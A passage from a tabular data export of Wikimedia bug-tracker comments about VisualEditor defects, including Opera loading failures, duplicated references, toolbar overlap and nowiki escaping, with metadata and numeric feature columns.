    ve.ce.BranchNode.call(this, model, config);

At this point CODE is [undefined, undefined] on Opera, but [<span...>, <dl...>] on Firefox. Since CODE is not undefined, this would indicate some sort of an internal inconsistency.

--------------------------
**Version**: unspecified
**Severity**: normal"
237907,VisualEditor does not load on Opera when debugging with Dragonfly,"Change 71174 merged by jenkins-bot:
Make loading VE work on Opera again, attempt two

https://gerrit.wikimedia.org/r/71174",,,1372556851,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-am2tq4ttmt7ojewwkmyp,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,1.0,"Change 71174 merged by jenkins-bot:
Make loading VE work on Opera again, attempt two

GERRIT_URL"
237902,VisualEditor does not load on Opera when debugging with Dragonfly,"Change 71174 had a related patch set uploaded by Matmarex:
Make loading VE work on Opera again, attempt two

https://gerrit.wikimedia.org/r/71174",,,1372510944,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-am2tq4ttmt7ojewwkmyp,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.25,1.0,"Change 71174 had a related patch set uploaded by Matmarex:
Make loading VE work on Opera again, attempt two

GERRIT_URL"
237896,VisualEditor does not load on Opera when debugging with Dragonfly,I know why it only fails when debugging: because the fix in https://gerrit.wikimedia.org/r/#/c/61560/ is only applied when not debugging. Apparently the document there is *still* not a document evenif it appears to be one.,,,1372509962,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-am2tq4ttmt7ojewwkmyp,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,3.0,5.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,3.0,0.0,23.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,8.0,8.0,10.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,3.0,0.0,5.0,0.0,0.0,0.0,3.871794871794872,0.7435897435897436,I know why it only fails when debugging: because the fix in URL is only applied when not debugging. Apparently the document there is *still* not a document evenif it appears to be one.
237889,VisualEditor does not load on Opera when debugging with Dragonfly,"And that is because #cloneNode is returning `undefined` for those elements (probably because they come from some weird dynamically-generated document). Which is clearly an Opera bug, but it'd be nice to work around it somehow.",,,1372509277,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-am2tq4ttmt7ojewwkmyp,task_subcomment,,True,c1,2,True,,,-1,,2.0,0.0,0.0,0.0,0.0,5.0,7.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,9.0,5.0,5.0,11.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,7.0,14.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.204545454545454,0.8863636363636364,"And that is because #cloneNode is returning CODE for those elements (probably because they come from some weird dynamically-generated document). Which is clearly an Opera bug, but it'd be nice to work around it somehow."
237882,VisualEditor does not load on Opera when debugging with Dragonfly,"And this is because ve.copyArray() is losing data, always returning an array of undefineds there.",,,1372508815,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-am2tq4ttmt7ojewwkmyp,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,5.0,5.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,4.368421052631579,0.9473684210526315,"And this is because ve.copyArray() is losing data, always returning an array of undefineds there."
237874,VisualEditor does not load on Opera when debugging with Dragonfly,"Hey, it's even better – all of the arrays in store.valueStore apparently consist only of varying number of undefineds.",,,1372508473,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-am2tq4ttmt7ojewwkmyp,task_subcomment,,True,c1,2,True,,,-1,,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,4.545454545454546,0.9090909090909091,"Hey, it's even better – all of the arrays in store.valueStore apparently consist only of varying number of undefineds."
52416,"Text covered up by infobox when editing, if image in infobox is large","If an infobox contains an image that is wider than the infobox's natural size, then editing the page cause the infobox to expand, without properly wrapping the adjacent text.  The result is that the infobox covers up the adjacent text.

See http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Text_appearing_behind_infobox_.2F_behaviour_after_editing on 28 June 2013 for the initial report.  The report came from a user running Chrome (version 27.0.1453.116) on Windows XP; I confirmed it in the en.wp article on Southampton using Safari 6.0.5 (7536.30.1) and Firefox 22.0 on Mac OS 10.7.5.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372498200,1372500786.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-jp6ugl4t75zwxp4yb5dw,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,8.5,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,2.0,0.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.5,0.0,10.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,7.5,1.0,13.0,1.0,1.0,7.5,0.0,0.0,0.0,0.0,1.5,0.0,4.5,0.0,1.5,8.5,7.5,0.0,0.0,0.0,1.5,0.0,0.5,2.0,0.0,2.5,0.5,0.0,0.0,4.094827586206897,0.7413793103448276,"If an infobox contains an image that is wider than the infobox's natural size, then editing the page cause the infobox to expand, without properly wrapping the adjacent text.  The result is that the infobox covers up the adjacent text.

See URL on 28 June 2013 for the initial report.  The report came from a user running Chrome (version 27.0.1453.116) on Windows XP; I confirmed it in the en.wp article on Southampton using Safari 6.0.5 (7536.30.1) and Firefox 22.0 on Mac OS 10.7.5.

--------------------------
**Version**: unspecified
**Severity**: normal"
237836,"Text covered up by infobox when editing, if image in infobox is large","Congrats on your first bug report; sadly it is a dupe. Took me a while to find  bug 49925 though, so you are forgiven :)

*** This bug has been marked as a duplicate of bug 49925 ***",,,1372500786,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-jp6ugl4t75zwxp4yb5dw,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,9.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,3.106382978723404,0.7659574468085106,"Congrats on your first bug report; sadly it is a dupe. Took me a while to find  bug 49925 though, so you are forgiven :)

*** This bug has been marked as a duplicate of bug 49925 ***"
52380,VisualEditor: massively duplicating references on render,"https://en.wikipedia.org/wiki/Birbal has 3 references; https://en.wikipedia.org/wiki/Birbal?veaction=edit has 24.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372436400,1383410182.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-fxdptzpzjvmxdqfbxpig,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.5925925925925926,"URL has 3 references; URL has 24.

--------------------------
**Version**: unspecified
**Severity**: normal"
235754,VisualEditor: massively duplicating references on render,*** Bug 50521 has been marked as a duplicate of this bug. ***,,,1385375005,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fxdptzpzjvmxdqfbxpig,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50521 has been marked as a duplicate of this bug. ***
235749,VisualEditor: massively duplicating references on render,Fixed a few months ago; sorry for late reply.,,,1383410182,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fxdptzpzjvmxdqfbxpig,task_subcomment,,True,c1,3,True,,,17,,9.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,1.0,Fixed a few months ago; sorry for late reply.
235743,VisualEditor: massively duplicating references on render,"They both have 21 references now. :P

I see there were three references around the time of the bug entry
https://en.wikipedia.org/w/index.php?title=Birbal&oldid=561978332

We need to figure out how to make this problem reproducible.

(bug 50521 looks similar, and might provide some clues on how to cause the renderer to get into this odd state)",,,1373758524,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-fxdptzpzjvmxdqfbxpig,task_subcomment,,True,c1,3,False,,,1,,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,5.0,15.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,6.0,3.0,2.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,5.0,15.0,2.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7903225806451615,0.8064516129032258,"They both have 21 references now. :P

I see there were three references around the time of the bug entry
URL

We need to figure out how to make this problem reproducible.

(bug 50521 looks similar, and might provide some clues on how to cause the renderer to get into this odd state)"
52364,"VisualEditor: Toolbar shows on top of Save dialog, prevents saving","screenshot

I'm not sure if this is bug 49514 ; feel free to dupe if it is.

See attached screenshot: the toolbar appears on top of the save dialog, which makes it difficult or impossible to save changes.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11157}",Needs Triage,90.0,1372416960,1372417299.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-rlct7v5aitn3wet7l6e6,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,1.0,10.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,3.0,1.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,8.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6164383561643834,0.6438356164383562,"screenshot

I'm not sure if this is bug 49514 ; feel free to dupe if it is.

See attached screenshot: the toolbar appears on top of the save dialog, which makes it difficult or impossible to save changes.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11157}"
234639,"VisualEditor: Toolbar shows on top of Save dialog, prevents saving","I think this is 50324 instead.

*** This bug has been marked as a duplicate of bug 50324 ***",,,1372417299,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-rlct7v5aitn3wet7l6e6,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,0.72,"I think this is 50324 instead.

*** This bug has been marked as a duplicate of bug 50324 ***"
52361,VisualEditor: modifying some templates causes them to collapse in on themselves in edit mode,"Screenshot

Try modifying the infobox in https://en.wikipedia.org/wiki/Defiance_%28TV_series%29?veaction=edit for example - see the screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11137}",Needs Triage,90.0,1372414740,1372690696.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-cbgrzxh5jpcsxgl5p5xy,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7674418604651163,0.6046511627906976,"Screenshot

Try modifying the infobox in URL for example - see the screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11137}"
234513,VisualEditor: modifying some templates causes them to collapse in on themselves in edit mode,"

*** This bug has been marked as a duplicate of bug 49854 ***",,,1372690696,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cbgrzxh5jpcsxgl5p5xy,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 49854 ***"
52359,"VisualEditor: Can't drag and drop transclusions, text, references","Users expect to be able to select, drag and drop most elements of the page, including snippets of text, templates & other transclusions, and references, just like they can do with images.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1372414500,1373663953.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-smzjavkfcebgjqkdtqrx,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.071428571428571,0.7142857142857143,"Users expect to be able to select, drag and drop most elements of the page, including snippets of text, templates & other transclusions, and references, just like they can do with images.

--------------------------
**Version**: unspecified
**Severity**: normal"
234439,"VisualEditor: Can't drag and drop transclusions, text, references","Actually, bug 49981 is meant to cover everything; merging.

*** This bug has been marked as a duplicate of bug 49981 ***",,,1373663953,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-smzjavkfcebgjqkdtqrx,task_subcomment,,True,c1,3,True,,,1,,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.3333333333333335,0.7333333333333333,"Actually, bug 49981 is meant to cover everything; merging.

*** This bug has been marked as a duplicate of bug 49981 ***"
234431,"VisualEditor: Can't drag and drop transclusions, text, references","While for text there's 49981 open, itwp users also request this for templates.",,,1373663530,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-smzjavkfcebgjqkdtqrx,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.9375,"While for text there's 49981 open, itwp users also request this for templates."
52331,VisualEditor throws <nowiki> next to any square bracket [,"It is usual to use [square brackets], [...] inside quotes to cut or complete sentences in quotes. As for today, VisualEditor will add <nowiki> tags like this:

<nowiki>[Square brackets]</nowiki>

<nowiki>[...]</nowiki>

This is not a big deal since the users will keep seeing the same in the published article, but it adds unnecessary cruft in edit source mode and it's wrong.

Also, according to Bug 47678 this means that editors won't be able to edit the content inside those brackets with VisualEditor, because of the <nowiki> tags.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
{T54268}",Needs Triage,90.0,1372374900,1372744432.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-trv3cartgmv24xouxumz,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,1.0,6.0,1.5,0.5,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,2.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.5,11.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,1.5,7.5,2.0,1.5,6.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.5,10.0,3.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,1.0,0.5,0.0,5.5,3.7778729071537294,0.7169901065449011,"It is usual to use [square brackets], [...] inside quotes to cut or complete sentences in quotes. As for today, VisualEditor will add <nowiki> tags like this:

<nowiki>[Square brackets]</nowiki>

<nowiki>[...]</nowiki>

This is not a big deal since the users will keep seeing the same in the published article, but it adds unnecessary cruft in edit source mode and it's wrong.

Also, according to Bug 47678 this means that editors won't be able to edit the content inside those brackets with VisualEditor, because of the <nowiki> tags.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
{T54268}"
232663,VisualEditor throws <nowiki> next to any square bracket [,"This bug was about single square brackets ([ ... ]), not wikitext links. 

Entering [[Foo]] as text will practically always need to be escaped as the rules for valid page titles are less restrictive than those for absolute URLs. Same is true for linking parts of a word where the remainder of the word would become part of the link via the link trail mechanism (aka- less precisely- 'piped links'). Or entering any other random wikitext in the VE. Not escaping such wikitext would break the WYSIWYG promise.",,,1372777003,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-trv3cartgmv24xouxumz,task_subcomment,,True,c1,3,True,,,0,,1.0,0.0,0.0,0.5,1.5,8.5,1.5,0.0,0.0,0.0,2.0,2.0,0.0,0.5,0.0,0.0,0.0,4.0,9.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,7.0,2.0,6.5,1.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,3.5,1.5,0.0,2.0,4.001632801161103,0.7899129172714079,"This bug was about single square brackets ([ ... ]), not wikitext links. 

Entering [[Foo]] as text will practically always need to be escaped as the rules for valid page titles are less restrictive than those for absolute URLs. Same is true for linking parts of a word where the remainder of the word would become part of the link via the link trail mechanism (aka- less precisely- 'piped links'). Or entering any other random wikitext in the VE. Not escaping such wikitext would break the WYSIWYG promise."
232654,VisualEditor throws <nowiki> next to any square bracket [,"Not really sure if this applies as well, but will leave it here: http://en.wikipedia.org/w/index.php?title=Ingress_(game)&diff=prev&oldid=562432188 

from
http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Strange_result_with_a_.3C.2Fnowiki.3E_tag_inserted .
Thanks.",,,1372756630,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-trv3cartgmv24xouxumz,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0833333333333335,0.875,"Not really sure if this applies as well, but will leave it here: URL 

from
URL .
Thanks."
